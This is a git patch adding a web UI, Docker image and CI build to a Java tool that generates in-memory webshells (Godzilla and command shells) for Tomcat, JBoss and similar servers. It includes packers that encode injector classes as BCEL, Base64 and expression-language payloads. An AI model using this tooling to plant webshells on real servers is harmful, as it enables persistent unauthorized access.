From 3b0aeaa2943ad9bfbf0dbbfe02873f34121bc31b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 20 Dec 2024 01:15:12 +0800 Subject: [PATCH] feat: support boot-ui --- .github/workflows/build.yaml | 66 +++ boot/Dockerfile | 12 + boot/build.gradle | 40 +- .../javaweb/boot/BootApplication.java | 2 +- .../javaweb/boot/api/ErrorResponse.java | 16 + .../boot/api/GlobalExceptionHandler.java | 22 + .../boot/controller/ConfigController.java | 37 +- .../boot/controller/GeneratorController.java | 30 + .../boot/controller/ViewController.java | 16 + .../javaweb/boot/dto/GenerateRequest.java | 46 ++ .../javaweb/boot/dto/GenerateResponse.java | 16 + .../reajason/javaweb/boot/entity/Config.java | 2 +- generator/build.gradle | 2 + .../com/reajason/javaweb/GeneratorMain.java | 19 +- .../javaweb/buddy/LogRemoveMethodVisitor.java | 7 +- .../javaweb/config/GenerateResult.java | 8 +- .../com/reajason/javaweb/config/Server.java | 5 +- .../javaweb/config/ShellToolConfig.java | 4 +- .../javaweb/memsell/AbstractShell.java | 10 +- .../javaweb/memsell/CommandGenerator.java | 6 +- .../javaweb/memsell/GodzillaGenerator.java | 10 +- .../javaweb/memsell/packer/BCELPacker.java | 17 + .../javaweb/memsell/packer/Base64Packer.java | 15 + .../memsell/packer/DeserializePacker.java | 15 +- .../javaweb/memsell/packer/ELPacker.java | 6 +- .../memsell/packer/FreemarkerPacker.java | 6 +- .../javaweb/memsell/packer/JspPacker.java | 4 +- .../javaweb/memsell/packer/OgnlPacker.java | 10 +- .../javaweb/memsell/packer/Packer.java | 32 +- .../memsell/packer/ScriptEnginePacker.java | 5 +- .../javaweb/memsell/packer/SpELPacker.java | 6 +- .../memsell/packer/VelocityPacker.java | 6 +- .../com/reajason/javaweb/util/CommonUtil.java | 30 +- .../buddy/LogRemoveVisitorWrapperTest.java | 4 +- .../memsell/packer/BCELPackerTest.java | 23 + .../tomcat/command/CommandFilterTest.java | 6 +- .../memsell/tomcat/godzilla/GodzillaTest.java | 6 +- .../integration/ShellAssertionTool.java | 23 +- .../jbossas/Jboss423ContainerTest.java | 2 +- .../jbossas/Jboss510ContainerTest.java | 2 +- .../jbossas/Jboss610ContainerTest.java | 2 +- .../jbossas/Jboss711ContainerTest.java | 2 +- .../jbosseap/JbossEap6ContainerTest.java | 2 +- .../jbosseap/JbossEap7ContainerTest.java | 8 +- .../tomcat/Tomcat8ContainerTest.java | 2 +- web/.env | 1 + web/.env.production | 1 + web/biome.json | 4 +- web/bun.lockb | Bin 142071 -> 146897 bytes web/copy-build.sh | 8 + web/package.json | 39 +- web/src/components/code-viewer.tsx | 38 +- web/src/components/main-config-card.tsx | 379 +++++++++--- web/src/components/package-config-card.tsx | 107 ++-- web/src/components/shell-config-card.tsx | 78 --- web/src/components/shell-result.tsx | 550 +++--------------- web/src/components/theme-provider.tsx | 8 +- web/src/components/tips/jre-tip.tsx | 18 + web/src/components/tips/url-pattern-tip.tsx | 17 + web/src/components/ui/alert.tsx | 20 +- web/src/components/ui/button.tsx | 7 +- web/src/components/ui/card.tsx | 22 +- web/src/components/ui/dropdown-menu.tsx | 10 +- web/src/components/ui/form.tsx | 136 +++++ web/src/components/ui/label.tsx | 4 +- web/src/components/ui/select.tsx | 12 +- web/src/components/ui/separator.tsx | 20 + web/src/components/ui/sonner.tsx | 14 + web/src/components/ui/tooltip.tsx | 30 + web/src/config.ts | 32 + web/src/index.css | 3 + web/src/lib/utils.ts | 26 + web/src/main.tsx | 15 +- web/src/routeTree.gen.ts | 4 +- web/src/routes/__root.tsx | 9 - web/src/routes/index.tsx | 136 ++++- web/src/types/schema.ts | 21 + web/src/types/shell.ts | 73 +++ web/src/utils/transformer.ts | 31 + web/tsconfig.app.tsbuildinfo | 1 + web/tsconfig.node.tsbuildinfo | 1 + 81 files changed, 1556 insertions(+), 929 deletions(-) create mode 100644 .github/workflows/build.yaml create mode 100644 boot/Dockerfile create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java create mode 100644 web/.env create mode 100644 web/.env.production create mode 100755 web/copy-build.sh delete mode 100644 web/src/components/shell-config-card.tsx create mode 100644 web/src/components/tips/jre-tip.tsx create mode 100644 web/src/components/tips/url-pattern-tip.tsx create mode 100644 web/src/components/ui/form.tsx create mode 100644 web/src/components/ui/separator.tsx create mode 100644 web/src/components/ui/sonner.tsx create mode 100644 web/src/components/ui/tooltip.tsx create mode 100644 web/src/config.ts create mode 100644 web/src/types/schema.ts create mode 100644 web/src/types/shell.ts create mode 100644 web/src/utils/transformer.ts create mode 100644 web/tsconfig.app.tsbuildinfo create mode 100644 web/tsconfig.node.tsbuildinfo diff --git a/.github/workflows/build.yaml b/.github/workflows/build.yaml new file mode 100644 index 00000000..e8cf58a9 --- /dev/null +++ b/.github/workflows/build.yaml @@ -0,0 +1,66 @@ +name: Build + +on: + push: + paths-ignore: + - 'docs/**' + - '**.md' +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + name: Build Jar + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + - name: Setup Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 17 + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + - uses: actions/setup-node@v4 + with: + node-version: '23' + - uses: oven-sh/setup-bun@v2 + with: + bun-version: latest + - name: Build Web + run: bun install && bun build && bash copy-build.sh + - name: Build with Gradle + run: ./gradlew :boot:bootjar + - name: Upload Jar + uses: actions/upload-artifact@v4 + with: + name: boot + path: boot/build/libs/boot.jar + push: + name: Docker Push + needs: [ build ] + runs-on: ubuntu-latest + steps: + - name: Download Jar + uses: actions/download-artifact@v4 + with: + name: boot + path: boot/build/libs + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ vars.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - name: Build and push + uses: docker/build-push-action@v6 + with: + context: boot/ + platforms: linux/amd64,linux/arm64 + push: true + tags: reajason/memshell-party:latest diff --git a/boot/Dockerfile b/boot/Dockerfile new file mode 100644 index 00000000..744f39c8 --- /dev/null +++ b/boot/Dockerfile @@ -0,0 +1,12 @@ +FROM eclipse-temurin:17-jre +LABEL authors="ReaJason" + +WORKDIR /app +COPY build/libs/boot.jar app.jar + +ENV JAVA_OPTS="" \ + INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED" + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar diff --git a/boot/build.gradle b/boot/build.gradle index 85bcbd5c..5ee38eb4 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -5,7 +5,7 @@ plugins { } group = 'com.reajason.javaweb' -version = '0.0.1-SNAPSHOT' +version = '' java { toolchain { @@ -13,21 +13,47 @@ java { } } +def runtimeJvmArgs = [ + '--add-opens=java.base/java.util=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' +] + +tasks.withType(JavaCompile).configureEach { + options.compilerArgs += [ + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' + ] +} + +tasks.withType(Test).configureEach { + jvmArgs += runtimeJvmArgs +} + +// For running the application +tasks.withType(JavaExec).configureEach { + jvmArgs += runtimeJvmArgs +} + configurations { compileOnly { extendsFrom annotationProcessor } } -repositories { - mavenCentral() -} - dependencies { - implementation project(":deserialize") - implementation project(":generator") + implementation(project(":generator")) { + exclude group: 'org.apache.tomcat', module: 'tomcat-catalina' + exclude group: 'commons-logging', module: 'commons-logging' + } + implementation(project(":deserialize")) { + exclude group: 'commons-logging', module: 'commons-logging' + } + implementation 'org.apache.bcel:bcel:5.2' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation 'org.springframework.boot:spring-boot-starter-web' + implementation 'org.springframework.boot:spring-boot-starter-tomcat' + implementation 'com.google.code.gson:gson:2.11.0' compileOnly 'org.projectlombok:lombok' developmentOnly 'org.springframework.boot:spring-boot-devtools' annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java index f6851bf7..c4869f7e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -13,4 +13,4 @@ public class BootApplication { SpringApplication.run(BootApplication.class, args); } -} +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java new file mode 100644 index 00000000..d87bbf0e --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.api; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * @author ReaJason + * @since 2024/5/30 + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +public class ErrorResponse { + private String error; +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java new file mode 100644 index 00000000..6bd25816 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.boot.api; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * @author ReaJason + * @since 2024/5/30 + */ +@RestControllerAdvice +@Slf4j +public class GlobalExceptionHandler { + @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) + @ExceptionHandler(Throwable.class) + public ErrorResponse handleThrowable(Throwable throwable) { + log.error("请求出错", throwable); + return new ErrorResponse(throwable.getMessage()); + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 38ef16e3..a6706c27 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -3,28 +3,27 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.packer.Packer; import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; +import java.util.stream.Collectors; /** * @author ReaJason * @since 2024/12/13 */ -@RestController("/config") +@RestController +@RequestMapping("/config") +@CrossOrigin("*") public class ConfigController { @RequestMapping public ResponseEntity config() { Map> coreMap = new HashMap<>(16); - List servers = new ArrayList<>(); for (Server value : Server.values()) { AbstractShell shell = value.getShell(); if (shell != null) { @@ -34,22 +33,24 @@ public class ConfigController { List supportedShellTypes = shell.getSupportedShellTypes(shellTool); map.put(shellTool.name(), supportedShellTypes); } - servers.add(value.name()); coreMap.put(value.name(), map); } } Config config = new Config(); - config.setServers(servers); + config.setServers( + Arrays.stream(Server.values()) + .filter(s -> s.getShell() != null) + .map(Server::name) + .collect(Collectors.toList()) + ); config.setCore(coreMap); - Map> packerMap = new HashMap<>(16); - for (Packer.INSTANCE value : Packer.INSTANCE.values()) { - if (value.equals(Packer.INSTANCE.Deserialize)) { - packerMap.put(value.name(), Map.of("payloads", PayloadType.values())); - } else { - packerMap.put(value.name(), null); - } - } - config.setPacker(packerMap); + config.setPackers(Arrays.stream(Packer.INSTANCE.values()) + .collect(Collectors.toMap( + Packer.INSTANCE::getDesc, + Packer.INSTANCE::name, + (e1, e2) -> e1, + LinkedHashMap::new + ))); return ResponseEntity.ok(config); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java new file mode 100644 index 00000000..5ac89ccb --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.boot.dto.GenerateRequest; +import com.reajason.javaweb.boot.dto.GenerateResponse; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.InjectorConfig; +import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.config.ShellToolConfig; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@RestController +@RequestMapping("/generate") +@CrossOrigin("*") +public class GeneratorController { + @PostMapping + public ResponseEntity generate(@RequestBody GenerateRequest request) { + ShellConfig shellConfig = request.getShellConfig(); + ShellToolConfig shellToolConfig = request.parseShellToolConfig(); + InjectorConfig injectorConfig = request.getInjectorConfig(); + GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); + String packResult = request.getPacker().getPacker().pack(generateResult); + return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java new file mode 100644 index 00000000..8a9e2e2a --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +@Controller +public class ViewController { + @GetMapping("/") + public String index() { + return "index"; + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java new file mode 100644 index 00000000..c26dae17 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.Data; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@Data +public class GenerateRequest { + private ShellConfig shellConfig; + private ShellToolConfigDTO shellToolConfig; + private InjectorConfig injectorConfig; + private Packer.INSTANCE packer; + + public ShellToolConfig parseShellToolConfig() { + if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) { + return GodzillaConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .pass(shellToolConfig.getGodzillaPass()) + .key(shellToolConfig.getGodzillaKey()) + .headerName(shellToolConfig.getGodzillaHeaderName()) + .headerValue(shellToolConfig.getGodzillaHeaderValue()) + .build(); + } + if (shellConfig.getShellTool().equals(ShellTool.Command)) { + return CommandConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .paramName(shellToolConfig.getCommandParamName()) + .build(); + } + throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); + } + + @Data + static class ShellToolConfigDTO { + private String shellClassName; + private String godzillaPass; + private String godzillaKey; + private String godzillaHeaderName; + private String godzillaHeaderValue; + private String commandParamName; + } +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java new file mode 100644 index 00000000..f72a038c --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@Data +@AllArgsConstructor +public class GenerateResponse { + private GenerateResult generateResult; + private String packResult; +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java index 7260b269..959dd951 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java @@ -13,5 +13,5 @@ import java.util.Map; public class Config { private List servers; private Map> core; - private Map> packer; + private Map packers; } \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index 37668e37..501671c9 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -52,6 +52,8 @@ dependencies { implementation 'org.java-websocket:Java-WebSocket:1.5.7' implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' // implementation fileTree('libs') + implementation 'xalan:xalan:2.7.0' + implementation 'org.apache.bcel:bcel:5.2' implementation 'commons-io:commons-io:2.+' implementation 'org.apache.commons:commons-lang3:3.+' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 2ff79602..a4908d1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -3,14 +3,14 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang3.StringUtils; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.nio.file.StandardOpenOption; /** * @author ReaJason @@ -24,6 +24,7 @@ public class GeneratorMain { .shellTool(ShellTool.Command) .shellType(Constants.FILTER) .targetJreVersion(Opcodes.V1_6) + .debug(true) .build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() .pass("pass") @@ -37,7 +38,7 @@ public class GeneratorMain { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult))); + System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult)); } } @@ -47,11 +48,19 @@ public class GeneratorMain { if (shell == null) { throw new IllegalArgumentException("Unsupported server"); } + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); + } + + if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { + injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); + } + return shell.generate(shellConfig, injectorConfig, shellToolConfig); } @SneakyThrows - public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { + public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); if (generateResult != null) { return packerInstance.getPacker().pack(generateResult); diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java index d7f06876..e1374323 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java @@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL; import static net.bytebuddy.jar.asm.Opcodes.POP; /** - * Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace() + * Debug 信息打印移除器 + * 目前仅支持移除以下几种 + *
+ * 1. System.out.println() - (printf 还不支持) + * 2. e.printStackTrace() + * 3. Logger.info (java.util) * * @author ReaJason */ diff --git a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java index c616407b..16b19840 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java @@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64; public class GenerateResult { private String shellClassName; private transient byte[] shellBytes; + private long shellSize; private String shellBytesBase64Str; private String injectorClassName; private transient byte[] injectorBytes; + private long injectorSize; private String injectorBytesBase64Str; private ShellConfig shellConfig; private ShellToolConfig shellToolConfig; @@ -25,12 +27,14 @@ public class GenerateResult { public GenerateResult build() { if (shellBytes != null) { shellBytesBase64Str = Base64.encodeBase64String(shellBytes); + shellSize = shellBytes.length; } if (injectorBytes != null) { injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); + injectorSize = injectorBytes.length; } - return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str, - injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); + return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, + injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 08cef7fc..95c69414 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -27,12 +27,15 @@ public enum Server { /** * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBoss(new JbossShell()), + JBossAS(new JbossShell()), + JBossEAP6(new JbossShell()), /** * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 * JBossEAP */ Undertow(new UndertowShell()), + JBossEAP7(new UndertowShell()), + WildFly(new UndertowShell()), /** * SpringMVC 框架 diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java index 3c322088..044e8fef 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java @@ -19,11 +19,11 @@ public class ShellToolConfig { /** * 模板类 shellClass */ - private Class clazz; + private Class shellClass; /** * shellClass 的类名 */ @Builder.Default - private String className = CommonUtil.generateShellClassName(); + private String shellClassName = CommonUtil.generateShellClassName(); } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java index 369da1ab..ca11d132 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -29,8 +29,8 @@ public abstract class AbstractShell { */ public List getSupportedShellTypes(ShellTool tool) { return switch (tool) { - case Godzilla -> getGodzillaShellMap().keySet().stream().toList(); - case Command -> getCommandShellMap().keySet().stream().toList(); + case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList(); + case Command -> getCommandShellMap().keySet().stream().sorted().toList(); default -> Collections.emptyList(); }; } @@ -59,14 +59,14 @@ public abstract class AbstractShell { Class shellClass = shellInjectorPair.getLeft(); Class injectorClass = shellInjectorPair.getRight(); - shellToolConfig.setClazz(shellClass); + shellToolConfig.setShellClass(shellClass); byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); injectorConfig = injectorConfig .toBuilder() .injectorClass(injectorClass) - .shellClassName(shellToolConfig.getClassName()) + .shellClassName(shellToolConfig.getShellClassName()) .shellClassBytes(shellBytes).build(); byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); @@ -75,7 +75,7 @@ public abstract class AbstractShell { .shellConfig(shellConfig) .shellToolConfig(shellToolConfig) .injectorConfig(injectorConfig) - .shellClassName(shellToolConfig.getClassName()) + .shellClassName(shellToolConfig.getShellClassName()) .shellBytes(shellBytes) .injectorClassName(injectorConfig.getInjectorClassName()) .injectorBytes(injectorBytes) diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 75c8c7e1..981a1e09 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers; public class CommandGenerator { public static byte[] generate(ShellConfig config, CommandConfig shellConfig) { - if (shellConfig.getClazz() == null) { + if (shellConfig.getShellClass() == null) { throw new IllegalArgumentException("shellConfig.getClazz() == null"); } Implementation.Composable fieldSets = SuperMethodCall.INSTANCE .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName())); DynamicType.Builder builder = new ByteBuddy() - .redefine(shellConfig.getClazz()) - .name(shellConfig.getClassName()) + .redefine(shellConfig.getShellClass()) + .name(shellConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .constructor(ElementMatchers.any()).intercept(fieldSets); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index bfc4bd10..814953c6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.lang3.StringUtils; /** * @author ReaJason @@ -26,15 +27,18 @@ public class GodzillaGenerator { } public DynamicType.Builder getBuilder() { - if (godzillaConfig.getClazz() == null) { + if (godzillaConfig.getShellClass() == null) { throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); } + if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) { + throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()"); + } String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16); String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase(); DynamicType.Builder builder = new ByteBuddy() - .redefine(godzillaConfig.getClazz()) - .name(godzillaConfig.getClassName()) + .redefine(godzillaConfig.getShellClass()) + .name(godzillaConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .constructor(ElementMatchers.any()) .intercept(SuperMethodCall.INSTANCE diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java new file mode 100644 index 00000000..af1a28dc --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.SneakyThrows; +import org.apache.bcel.classfile.Utility; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +public class BCELPacker implements Packer { + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java new file mode 100644 index 00000000..01375b71 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2024/12/17 + 